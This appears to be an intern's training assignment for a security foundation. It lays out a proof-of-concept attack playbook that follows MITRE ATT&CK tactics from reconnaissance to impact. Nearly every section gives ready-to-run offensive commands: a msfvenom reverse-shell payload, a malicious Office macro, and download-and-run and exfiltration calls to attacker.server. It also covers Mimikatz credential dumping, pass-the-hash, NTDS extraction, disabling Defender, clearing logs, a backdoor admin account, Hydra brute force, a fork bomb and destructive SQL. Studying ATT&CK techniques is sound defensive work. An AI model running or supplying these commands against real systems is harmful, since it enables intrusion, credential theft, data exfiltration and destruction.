**Name : Chaitanya P Mayekar**

**Intern id : 253**

**Deadline : Tuesday**

**Submit to : Digisuraksha Pahari foundation**

**Topic: Structured PoC (Proof of Concept) TTPs(Tactics, Techniques, and Procedures)**

**1. 🎯 Tactic: Reconnaissance (TA0043)**

**Goal:** Gather information about the target using public sources or direct probing.

**Technique 1: T1598 – Gather Victim Network Information**

**Explanation:** Attacker gathers network details to identify targets and attack vectors.  
**Procedures:**

* Use Shodan to enumerate external services:

shodan host target\_ip\_or\_domain

* Scan the organization’s public IP range to find live hosts and services:

nmap -sS -Pn -p 1-65535 target\_ip\_range

* Perform WHOIS lookup for additional information:

whois targetdomain.com

**Technique 2: T1595 – Active Scanning**

**Explanation:** Attacker actively scans for vulnerabilities and services.  
**Procedures:**

* Full port and banner scan:

nmap -sV -A targetdomain.com

* Automated vulnerability scan using OpenVAS:

openvas-start

openvas -T target\_ip

**Technique 3: T1592 – Search Open Websites/Domains**

**Explanation:** Attacker gathers information from websites and social media.  
**Procedures:**

* Google dorking for exposed files:

site:target.com filetype:pdf confidential

* Use theHarvester to collect email addresses and subdomains:

theHarvester -d target.com -b google

* Scrape LinkedIn (manual/automated) for employee details.

**2. 🎯 Tactic: Resource Development (TA0042)**

**Goal:** Build or acquire the infrastructure and tools for the attack.

**Technique 1: T1583 – Acquire Infrastructure**

**Explanation:** Attacker sets up C2 domains, servers, and communication points.  
**Procedures:**

* Register new domain (phishing/C2) via registrar or API:

curl -X POST -d @domain\_info.json https://api.registrar.com/v1/domains

* Deploy Command & Control (C2) server (example for cloud VPS):

curl -X POST -d @server\_setup.json https://api.cloudprovider.com/v1/servers

* Create anonymous email addresses via webmail providers (manual/web UI).

**Technique 2: T1584 – Compromise Infrastructure**

**Explanation:** Attacker takes control of existing third-party platforms or resources.  
**Procedures:**

* Scan and target third-party site with nikto and nmap:

nikto -host vulnerable-website.com

nmap -sV vulnerable-website.com

* Find/exploit SQL injection:

sqlmap -u "http://vulnerable-website.com/page?id=1" --dump

* Gain access to cloud storage via weak credentials or cloud misconfigurations.

**Technique 3: T1587 – Develop Capabilities**

**Explanation:** Attacker creates or customizes malware/tools for offensive operations.  
**Procedures:**

* Write PowerShell execution-policy bypass script:

powershell

Set-ExecutionPolicy Bypass -Scope **Process** -Force

* Build custom payload with msfvenom:

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=attacker\_ip LPORT=4444 -f exe -o payload.exe

* Obfuscate payloads via tools like Veil/Evasion:

python3 ~/Veil/Veil.py

**3. 🎯 Tactic: Initial Access (TA0001)**

**Goal:** Obtain the first foothold inside the target environment.

**Technique 1: T1566.001 – Phishing: Spearphishing Attachment**

**Explanation:** Custom phishing emails deliver weaponized files for execution.  
**Procedures:**

* Craft Office doc with malicious macro:

Sub AutoOpen()

Shell "powershell.exe -ExecutionPolicy Bypass -File \\attacker\payload.ps1"

End Sub

* Send email using SMTP or tools like sendEmail/Thunderbird.
* Document download/execution triggers connection back to attacker’s C2.

**Technique 2: T1190 – Exploit Public-Facing Application**

**Explanation:** Exploit internet-exposed vulnerabilities for access.  
**Procedures:**

* Identify vulnerable webapp, then use Metasploit:

msfconsole

use exploit/windows/http/some\_vuln

set RHOST target\_ip

run

**Technique 3: T1078 – Valid Accounts**

**Explanation:** Use obtained credentials for legitimate system access.  
**Procedures:**

* SSH login with leaked creds:

ssh user@target\_ip

* RDP login on Windows:

powershell

mstsc /v:target\_ip

* Brute-force via Hydra:

hydra -l user -P passlist.txt ssh://target\_ip

**4. 🎯 Tactic: Execution (TA0002)**

**Goal:** Execute malicious code within the target environment.

**Technique 1: T1059 – Command and Scripting Interpreter**

**Explanation:** Attacker controls the system using native scripting interpreters.  
**Procedures:**

* Host and trigger PowerShell payload:

powershell

Invoke-WebRequest http://attacker.server/malware.exe -OutFile malware.exe

Start-Process malware.exe

* User executes:

powershell

powershell.exe -NoProfile -ExecutionPolicy Bypass -File payload.ps1

**Technique 2: T1204.002 – User Execution: Malicious File**

**Explanation:** User triggered execution of the attacker’s file (typically by phishing).  
**Procedures:**

* Macro runs PowerShell command as above, with required file path to network or web share.

**Technique 3: T1651 – Cloud Administration Command**

**Explanation:** Abuse of cloud admin rights to run remote commands.  
**Procedures:**

* Authenticate with Azure CLI and run PowerShell on remote VM:

az login

az vm run-command invoke -g ResourceGroup -n VictimVM --command-id RunPowerShellScript --scripts "Invoke-WebRequest http://attacker/malware.exe -OutFile C:\\temp\\malware.exe; Start-Process C:\\temp\\malware.exe"

**5. 🎯 Tactic: Persistence (TA0003)**

**Goal:** Ensure ongoing access despite system restarts or credential resets.

**Technique 1: T1547.001 – Registry Run Keys/Startup Folder**

**Explanation:** Malware is set to auto-run at startup.  
**Procedures:**

* Add registry entry (cmd/Powershell):

powershell

New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Updater" -Value "C:\malware.exe"

**Technique 2: T1053.005 – Scheduled Task**

**Explanation:** System schedules attacker’s code for repeated execution.  
**Procedures:**

* Windows:

schtasks /Create /SC ONLOGON /TN "UpdateTask" /TR "powershell.exe -ExecutionPolicy Bypass -File C:\malware.ps1"

**Technique 3: T1098 – Account Manipulation**

**Explanation:** Creating/manipulating accounts for persistence.  
**Procedures:**

* Create user and add to admin group:

powershell

net user backdoor StrongP@ssw0rd! /add

net localgroup Administrators backdoor /add

**6. 🎯 Tactic: Privilege Escalation (TA0004)**

**Goal:** Obtain admin/system rights on compromised devices.

**🛠️ Technique 1: T1068 – Exploitation for Privilege Escalation**

**Explanation:** Exploit unpatched vulnerabilities to elevate privileges.  
**Procedures:**

* Use compiled/CVE exploit or Metasploit local module for privilege escalation.  
  (Example)

msfconsole

use exploit/windows/local/printnightmare

set SESSION 1

run

**Technique 2: T1134.001 – Access Token Manipulation**

**Explanation:** Steal/impersonate tokens to inherit higher privileges.  
**Procedures:**

* Use Mimikatz for Pass-the-Hash/Token Impersonation:

sekurlsa::pth /user:Admin /domain:target.local /ntlm:<HASH> /run:powershell.exe

**Technique 3: T1055.001 – Process Injection**

**Explanation:** Inject code into trusted processes to run with escalated rights.  
**Procedures:**

* With Metasploit:

set PAYLOAD windows/meterpreter/reverse\_tcp

set LHOST attacker

set LPORT 4444

exploit -j

**7. 🎯 Tactic: Defense Evasion (TA0005)**

**Goal:** Avoid detection by security tools and logs.

**Technique 1: T1070.001 – Clear Windows Event Logs**

**Explanation:** Removes traces of the attacker’s presence.  
**Procedures:**

* PowerShell:

powershell

wevtutil cl Security

wevtutil cl Application

**Technique 2: T1140 – Deobfuscate/Decode Files or Information**

**Explanation:** Hide payloads/commands using obfuscation.  
**Procedures:**

* Encode and decode scripts inline:

powershell

$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("<base64string>"))

Invoke-Expression $cmd

**Technique 3: T1562.001 – Disable or Modify Security Tools**

**Explanation:** Disables endpoint security/defenses.  
**Procedures:**

* Disable Windows Defender real-time protection:

Powershell:

Set-MpPreference -DisableRealtimeMonitoring $true

**8. 🎯 Tactic: Credential Access (TA0006)**

**Goal:** Steal credentials/keys for deeper access or lateral movement.

**Technique 1: T1003.001 – LSASS Memory**

**Explanation:** Attacker dumps passwords from LSASS process memory.  
**Procedures:**

* Use Mimikatz:

sekurlsa::logonpasswords

**Technique 2: T1555.003 – NTDS DIT Credential Dumping**

**Explanation:** Attacker dumps Active Directory credentials from domain controller.  
**Procedures:**

* Run ntdsutil on Domain Controller:

ntdsutil "ac i ntds" "ifm" "create full C:\output" q q

* Or use custom dumping scripts or tools as needed.

**Technique 3: T1110 – Brute Force**

**Explanation:** Automated guessing of account credentials.  
**Procedures:**

* SSH brute-force with Hydra:

hydra -L users.txt -P passwords.txt ssh://target\_ip

**9. 🎯 Tactic: Discovery (TA0007)**

**Goal:** Map out user accounts, network, and system info inside victim environment.

**Technique 1: T1087 – Account Discovery**

**Explanation:** Enumerate users/groups to identify accounts of interest.  
**Procedures:**

* PowerShell:

powershell

Get-LocalUser

* Windows CMD:

net user

**Technique 2: T1046 – Network Service Scanning**

**Explanation:** Scan for active hosts and listening services.  
**Procedures:**

nmap -sV 192.168.1.0/24

**Technique 3: T1018 – Remote System Discovery**

**Explanation:** Identify networked computers and shares.  
**Procedures:**

net view /domain

net group /domain

**10. 🎯 Tactic: Lateral Movement (TA0008)**

**Goal:** Move from one compromised system to others in the network.

**Technique 1: T1021.001 – Remote Desktop Protocol**

**Explanation:** Use RDP for lateral access.  
**Procedures:**

powershell

mstsc /v:target\_ip

**Technique 2: T1076 – Remote Services**

**Explanation:** Use admin tools for remote execution.  
**Procedures:**

psexec \\target\_ip -u user -p password cmd.exe

**Technique 3: T1550.002 – Pass the Hash**

**Explanation:** Authenticate as a user with only the password hash.  
**Procedures:**

sekurlsa::pth /user:Admin /domain:corp /ntlm:<HASH> /run:cmd.exe

**11. 🎯 Tactic: Collection (TA0009)**

**Goal:** Gather target data for exfiltration.

**Technique 1: T1114 – Email Collection**

**Explanation:** Extract emails from victim accounts.  
**Procedures:**

* Export Outlook PST file or programmatically download mailbox contents via script (or IMAP credentials with Python).

**Technique 2: T1213 – Data from Information Repositories**

**Explanation:** Access files or databases to copy sensitive data.  
**Procedures:**

* SQL DB dump:

sql

**SELECT** \* **FROM** sensitive\_table;

* Copy files from a network share:

powershell

Copy-Item \\target\share\\*.docx C:\temp\

**Technique 3: T1056 – Input Capture**

**Explanation:** Log user keystrokes and other inputs.  
**Procedures:**

* Install custom keylogger malware:

powershell

*# Example install command (depends on specific malware)*

Start-Process "C:\Users\User\Downloads\keylogger.exe"

**12. 🎯 Tactic: Command and Control (TA0011)**

**Goal:** Maintain a reliable communication channel to compromised machines.

**Technique 1: T1071.001 – Web Protocols**

**Explanation:** Use HTTP/HTTPS for controlling hosts, blending with web traffic.  
**Procedures:**

* Malware beacons by sending POST requests to C2 server over HTTPS at intervals:

python

*# Python sample (attacker-side listener)*

**from** http.server **import** BaseHTTPRequestHandler, HTTPServer

**class** Handler(BaseHTTPRequestHandler):

**def** do\_POST(self):

*# process incoming data*

**Technique 2: T1105 – Ingress Tool Transfer**

**Explanation:** Transfer additional tools to compromised hosts.  
**Procedures:**

powershell

Invoke-WebRequest http://attacker.server/tool.ps1 -OutFile tool.ps1

powershell -ExecutionPolicy Bypass -File tool.ps1

**Technique 3: T1573 – Encrypted Channel**

**Explanation:** Encrypt C2 traffic to evade network defenders.  
**Procedures:**

* Set up SSL/TLS tunnels or use Cobalt Strike HTTPS C2 listener.

**13. 🎯 Tactic: Exfiltration (TA0010)**

**Goal:** Safely remove sensitive data from the victim environment.

**Technique 1: T1041 – Exfiltration Over C2 Channel**

**Explanation:** Send data through established attack communication channels.  
**Procedures:**

* Compress data and upload via HTTPS POST:

powershell

Compress-Archive -Path C:\**data**\\* -DestinationPath C:\exfil.zip

Invoke-WebRequest -Uri https://attacker.server/exfil -Method POST -InFile C:\exfil.zip

**Technique 2: T1002 – Data Encrypted**

**Explanation:** Encrypt data before extraction to prevent discovery.  
**Procedures:**

* AES encryption with openssl:

openssl enc -aes-256-cbc -salt -in data.txt -out data.enc -k YourSecretPass

**Technique 3: T1030 – Data Transfer Size Limits**

**Explanation:** Exfiltrate small files/pieces to avoid detection.  
**Procedures:**

* Split archive in chunks before upload:

split -b 2M data.enc part\_

**for** f **in** part\_\*; **do**

curl -X POST -F "file=@$f" https://attacker.server/upload;

**done**

**14. 🎯 Tactic: Impact (TA0040)**

**Goal:** Disrupt, destroy, or otherwise negatively affect target data or systems.

**Technique 1: T1486 – Data Encrypted for Impact (Ransomware)**

**Explanation:** Encrypt files, demand ransom for decryption key.  
**Procedures:**

* Ransomware payload encrypts files and leaves ransom note after execution.

**Technique 2: T1499.001 – Endpoint Denial of Service**

**Explanation:** Overload or crash systems/devices.  
**Procedures:**

bash

*# Linux fork bomb*

:(){ :|:& };:

*# Windows infinite process spawning (PowerShell)*

while($true){Start-Process notepad.exe}

**Technique 3: T1565.001 – Stored Data Manipulation**

**Explanation:** Corrupt or alter data to disrupt operations.  
**Procedures:**

* Access database and maliciously update records:

sql

**UPDATE** employees **SET** salary=0 **WHERE** department='Finance';